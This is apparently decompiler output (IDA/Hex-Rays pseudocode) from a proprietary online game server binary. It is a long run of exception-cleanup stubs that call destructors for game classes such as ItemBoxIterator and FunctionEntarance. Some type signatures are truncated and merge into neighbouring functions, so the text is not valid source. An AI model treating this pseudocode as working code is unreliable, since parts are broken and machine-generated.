_L189310(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 596)); } //----- (00588FB1) -------------------------------------------------------- void __usercall _L189311(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588FD0) -------------------------------------------------------- void __usercall _L189458(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 696)); } //----- (00588FDB) -------------------------------------------------------- void __usercall _L189459(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (00588FE6) -------------------------------------------------------- void __usercall _L189460(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 680)); } //----- (00588FF1) -------------------------------------------------------- void __usercall _L189461(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588FFC) -------------------------------------------------------- void __usercall _L189462(int a1) { std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058902B) -------------------------------------------------------- void __usercall _L190354(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00589050) -------------------------------------------------------- void __usercall _L156040(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589070) -------------------------------------------------------- void __usercall _L147862(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589090) -------------------------------------------------------- void __usercall _L159531(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005890B0) -------------------------------------------------------- void __usercall _L159389(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005890D0) -------------------------------------------------------- void __usercall _L159502(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005890F0) -------------------------------------------------------- void __usercall _L159561(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00589110) -------------------------------------------------------- void __usercall _L159587(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589130) -------------------------------------------------------- void __usercall _L159613(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 220)); } //----- (0058913B) -------------------------------------------------------- void __usercall _L159614(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 248)); } //----- (00589150) -------------------------------------------------------- void __usercall _L159699(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00589170) -------------------------------------------------------- void __usercall _L157217(int a1) { PineScriptStack::ProcessStack::_ProcessStack(*(PineScriptStack::ProcessStack **)(a1 - 16)); } //----- (00589178) -------------------------------------------------------- void __usercall _L157218(int a1) { ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager((ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)(a1 - 16) + 66116)); } //----- (00589190) -------------------------------------------------------- void __usercall _L157363(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00589198) -------------------------------------------------------- void __usercall _L157364(int a1) { operator delete(*(void **)(a1 - 84)); } //----- (005891B0) -------------------------------------------------------- void __usercall _L157420(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 4u, 100, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); } //----- (005891D0) -------------------------------------------------------- void __usercall _L157434(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005891F0) -------------------------------------------------------- void __usercall _L157905(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589210) -------------------------------------------------------- void __usercall _L158360(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00589230) -------------------------------------------------------- void __usercall _L157679_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00589238) -------------------------------------------------------- void __usercall _L157680_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00589250) -------------------------------------------------------- void __usercall _L157786(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0058925B) -------------------------------------------------------- void __usercall _L157787(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00589266) -------------------------------------------------------- void __usercall _L157788(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00589280) -------------------------------------------------------- void __usercall _L157866(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005892A0) -------------------------------------------------------- void __usercall _L157988(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (005892C0) -------------------------------------------------------- void __usercall _L158030(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005892E0) -------------------------------------------------------- void __usercall _L158076_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005892E8) -------------------------------------------------------- void __usercall _L158104(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00589300) -------------------------------------------------------- void __usercall _L158171(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 77308)); } //----- (0058930B) -------------------------------------------------------- void __usercall _L158172(int a1) { Movie::Theater::_Theater((Movie::Theater *)(a1 - 77304)); } //----- (00589320) -------------------------------------------------------- void __usercall _L158232(int a1) { Movie::Theater::_Theater((Movie::Theater *)(a1 - 77304)); } //----- (0058932B) -------------------------------------------------------- void __usercall _L158235_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 77316)); } //----- (00589340) -------------------------------------------------------- void __usercall _L161233(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00589360) -------------------------------------------------------- void __usercall _L160253(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589380) -------------------------------------------------------- void __usercall _L158567(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00589388) -------------------------------------------------------- void __usercall _L158568(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (005893A0) -------------------------------------------------------- void __usercall _L158976(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005893C0) -------------------------------------------------------- void __usercall _L159109(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 272)); } //----- (005893E0) -------------------------------------------------------- void __usercall _L159236(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005893E8) -------------------------------------------------------- void __usercall _L159237(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00589400) -------------------------------------------------------- void __usercall _L159689(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00589420) -------------------------------------------------------- void __usercall _L160316(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00589440) -------------------------------------------------------- void __usercall _L160397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (00589460) -------------------------------------------------------- void __usercall _L162426(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00589480) -------------------------------------------------------- int __cdecl _L163281() { int result; // eax@1 result = __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 0xFFFFFFFE; __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA &= 0xFFFFFFFEu; return result; } // 124578AC: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (005894A0) -------------------------------------------------------- void __usercall _L158681(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005894C0) -------------------------------------------------------- void __usercall _L156326(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005894C8) -------------------------------------------------------- void __usercall _L156327(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005894D0) -------------------------------------------------------- void __usercall _L156328_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005894F0) -------------------------------------------------------- void __usercall _L156414(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00589510) -------------------------------------------------------- void __usercall _L156479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058951B) -------------------------------------------------------- void __usercall _L156480(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 164)); } //----- (00589530) -------------------------------------------------------- void __usercall _L157060(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589550) -------------------------------------------------------- void __usercall _L156671(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00589570) -------------------------------------------------------- void __usercall _L156733(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00589590) -------------------------------------------------------- void __usercall _L157019(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005895B0) -------------------------------------------------------- void __usercall _L157132(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (005895B8) -------------------------------------------------------- void __usercall _L157133(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (005895D0) -------------------------------------------------------- void __usercall _L145648(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 340)); } //----- (005895F0) -------------------------------------------------------- void __usercall _L146122(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 328)); } //----- (00589610) -------------------------------------------------------- void __usercall _L146170(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 144)); } //----- (00589630) -------------------------------------------------------- void __usercall _L146244(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00589650) -------------------------------------------------------- void __usercall _L146524(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589670) -------------------------------------------------------- void __usercall _L146461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00589678) -------------------------------------------------------- void __usercall _L146462(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589690) -------------------------------------------------------- void __usercall _L159725(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005896B0) -------------------------------------------------------- void __usercall _L160063(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005896BB) -------------------------------------------------------- void __usercall _L160064(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (005896D0) -------------------------------------------------------- void __usercall _L161786(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005896F0) -------------------------------------------------------- void __usercall _L161323(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (00589710) -------------------------------------------------------- void __usercall _L161843(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00589718) -------------------------------------------------------- void __usercall _L161844(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589730) -------------------------------------------------------- void __usercall _L159271_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589750) -------------------------------------------------------- void __usercall _L157945(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00589770) -------------------------------------------------------- void __usercall _L158089(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 164)); } //----- (00589790) -------------------------------------------------------- void __usercall _L158626(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 312)); } //----- (0058979B) -------------------------------------------------------- void __usercall _L158627(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (005897A6) -------------------------------------------------------- void __usercall _L158628(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 308)); } //----- (005897C0) -------------------------------------------------------- void __usercall _L158889(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (005897E0) -------------------------------------------------------- void __usercall _L157897(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589800) -------------------------------------------------------- void __usercall _L157192(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058980B) -------------------------------------------------------- void __usercall _L157193(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 160)); } //----- (00589820) -------------------------------------------------------- void __usercall _L157461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 92)); } //----- (00589828) -------------------------------------------------------- void __usercall _L157463(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 68)); } //----- (00589830) -------------------------------------------------------- void __usercall _L157464(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 52)); } //----- (00589850) -------------------------------------------------------- void __usercall _L158002(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 68)); } //----- (00589858) -------------------------------------------------------- void __usercall _L158003(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00589870) -------------------------------------------------------- void __usercall _L156885(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589890) -------------------------------------------------------- void __usercall _L156532(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005898B0) -------------------------------------------------------- void __usercall _L156610_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005898BB) -------------------------------------------------------- void __usercall _L156611(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (005898D0) -------------------------------------------------------- void __usercall _L156933(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005898D8) -------------------------------------------------------- void __usercall _L156934_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005898F0) -------------------------------------------------------- void __usercall _L157090_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (005898F8) -------------------------------------------------------- void __usercall _L157091_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589910) -------------------------------------------------------- void __usercall _L157191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00589930) -------------------------------------------------------- void __usercall _L156704(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589950) -------------------------------------------------------- void __usercall _L156278(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058995B) -------------------------------------------------------- void __usercall _L156279(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 296)); } //----- (00589966) -------------------------------------------------------- void __usercall _L156280_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 312)); } //----- (00589980) -------------------------------------------------------- void __usercall _L156586(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8620)); } //----- (0058998B) -------------------------------------------------------- void __cdecl _L156588() { ItemDismantleProducer::_ItemDismantleProducer(); } //----- (005899A0) -------------------------------------------------------- void __usercall _L157049(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005899C0) -------------------------------------------------------- void __usercall _L156367(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005899E0) -------------------------------------------------------- void __usercall _L156484(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00589A00) -------------------------------------------------------- void __usercall _L156254(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (00589A0B) -------------------------------------------------------- void __usercall _L156256(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 260)); } //----- (00589A20) -------------------------------------------------------- void __usercall _L156599_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00589A40) -------------------------------------------------------- void __usercall _L156808(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589A60) -------------------------------------------------------- void __usercall _L158538(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00589A80) -------------------------------------------------------- void __usercall _L158509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589AA0) -------------------------------------------------------- void __usercall _L157920(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1024)); } //----- (00589AAB) -------------------------------------------------------- void __usercall _L157921(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1020)); } //----- (00589AC0) -------------------------------------------------------- void __usercall _L158441(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00589AE0) -------------------------------------------------------- void __usercall _L156729(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00589AE8) -------------------------------------------------------- void __usercall _L156730_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589B00) -------------------------------------------------------- void __usercall _L158121_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589B20) -------------------------------------------------------- void __usercall _L156938(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00589B40) -------------------------------------------------------- void __usercall _L157033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00589B48) -------------------------------------------------------- void __usercall _L157034(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00589B50) -------------------------------------------------------- void __usercall _L157035(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 44)); } //----- (00589B70) -------------------------------------------------------- void __usercall _L158065_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00589B90) -------------------------------------------------------- void __usercall _L160993(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00589BB0) -------------------------------------------------------- void __usercall _L158623(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00589BD0) -------------------------------------------------------- void __usercall _L158856(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 256)); } //----- (00589BF0) -------------------------------------------------------- void __usercall _L161542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589C10) -------------------------------------------------------- void __usercall _L159895(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00589C18) -------------------------------------------------------- void __usercall _L159896(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 60)); } //----- (00589C30) -------------------------------------------------------- void __usercall _L159980(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589C38) -------------------------------------------------------- void __usercall _L159981(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00589C50) -------------------------------------------------------- void __usercall _L160069(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (00589C58) -------------------------------------------------------- void __usercall _L160070(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (00589C70) -------------------------------------------------------- void __usercall _L160334(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 176)); } //----- (00589C90) -------------------------------------------------------- void __usercall _L160527(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (00589C98) -------------------------------------------------------- void __usercall _L160528(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 124)); } //----- (00589CA0) -------------------------------------------------------- void __usercall _L160529(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (00589CC0) -------------------------------------------------------- void __usercall _L160813(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 244)); } //----- (00589CE0) -------------------------------------------------------- void __usercall _L161122(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00589D00) -------------------------------------------------------- void __usercall _L161672(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00589D20) -------------------------------------------------------- void __usercall _L156815(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589D40) -------------------------------------------------------- void __usercall _L156496(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00589D60) -------------------------------------------------------- void __usercall _L156606(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00589D80) -------------------------------------------------------- void __usercall _L156557(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589DA0) -------------------------------------------------------- void __usercall _L156661(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (00589DC0) -------------------------------------------------------- void __usercall _L156983(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00589DC8) -------------------------------------------------------- void __usercall _L156984(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589DD0) -------------------------------------------------------- void __usercall _L156985(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589DE0) -------------------------------------------------------- void __usercall _L156987(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00589E00) -------------------------------------------------------- void __usercall _L155915(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00589E20) -------------------------------------------------------- void __usercall _L156164(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589E40) -------------------------------------------------------- void __usercall _L157297(int a1) { CardDeck::CardStack::_CardStack((CardDeck::CardStack *)(a1 - 60)); } //----- (00589E60) -------------------------------------------------------- void __usercall _L157759(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589E80) -------------------------------------------------------- void __usercall _L157883(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00589EA0) -------------------------------------------------------- void __usercall _L157968(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 348)); } //----- (00589EC0) -------------------------------------------------------- void __usercall _L159699_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00589EE0) -------------------------------------------------------- void __usercall _L160123_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00589F00) -------------------------------------------------------- void __usercall _L160183_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (00589F20) -------------------------------------------------------- void __usercall _L160366(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 164)); } //----- (00589F40) -------------------------------------------------------- void __usercall _L160477(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00589F60) -------------------------------------------------------- void __usercall _L159215(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00589F80) -------------------------------------------------------- void __usercall _L159460(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00589F88) -------------------------------------------------------- void __usercall _L159461(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00589F90) -------------------------------------------------------- void __usercall _L159462_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (00589FB0) -------------------------------------------------------- void __usercall _L159633(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00589FD0) -------------------------------------------------------- void __usercall _L160111_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00589FD8) -------------------------------------------------------- void __usercall _L160112_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00589FF0) -------------------------------------------------------- void __usercall _L160410(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3368)); } //----- (00589FFB) -------------------------------------------------------- void __usercall _L160411(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3392)); } //----- (0058A006) -------------------------------------------------------- void __usercall _L160412(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3404)); } //----- (0058A011) -------------------------------------------------------- void __usercall _L160413(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3408)); } //----- (0058A030) -------------------------------------------------------- void __usercall _L160826(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3300)); } //----- (0058A03B) -------------------------------------------------------- void __usercall _L160827(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3316)); } //----- (0058A050) -------------------------------------------------------- void __usercall _L161077(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3336)); } //----- (0058A05B) -------------------------------------------------------- void __usercall _L161078(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3396)); } //----- (0058A070) -------------------------------------------------------- void __usercall _L161355(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 204)); } //----- (0058A07B) -------------------------------------------------------- void __usercall _L161356(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 268)); } //----- (0058A086) -------------------------------------------------------- void __usercall _L161357(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0058A091) -------------------------------------------------------- void __usercall _L161359(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 268)); } //----- (0058A0B0) -------------------------------------------------------- void __usercall _L161670(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 188)); } //----- (0058A0D0) -------------------------------------------------------- void __usercall _L161882_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058A0D8) 